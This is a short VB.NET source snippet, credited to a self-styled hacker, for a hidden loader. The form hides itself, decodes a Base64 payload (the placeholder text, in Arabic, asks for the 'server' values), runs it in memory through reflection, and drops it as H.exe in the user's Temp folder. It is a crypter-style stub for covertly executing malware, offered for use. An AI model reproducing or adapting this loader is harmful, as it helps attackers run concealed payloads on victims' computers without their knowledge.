COde

Public Class Form1
'Coded By Hicham Hacker
'https://www.facebook.com/Hicham.Hackere.1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ShowIcon = False
        ShowInTaskbar = False
        Opacity = False
        Me.Hide()
        System.Threading.Thread.Sleep(3000)

        Dim a As String = "هنا ضع قيم السيرفر"
        Dim h As Byte() = Convert.FromBase64String(a)
        Dim c As System.Reflection.Assembly = AppDomain.CurrentDomain.Load(h).EntryPoint.Invoke(Nothing, Nothing)
        IO.File.WriteAllBytes(Explerer, h)
    End Sub
    Function Explerer()
        Return "C:/Users/" + Environment.UserName + "\AppData\Local\Temp" + "/H.exe"
        Return "C:/Users/" + Environment.UserName + "\AppData\Roaming" + "/H.exe"
    End Function
End Class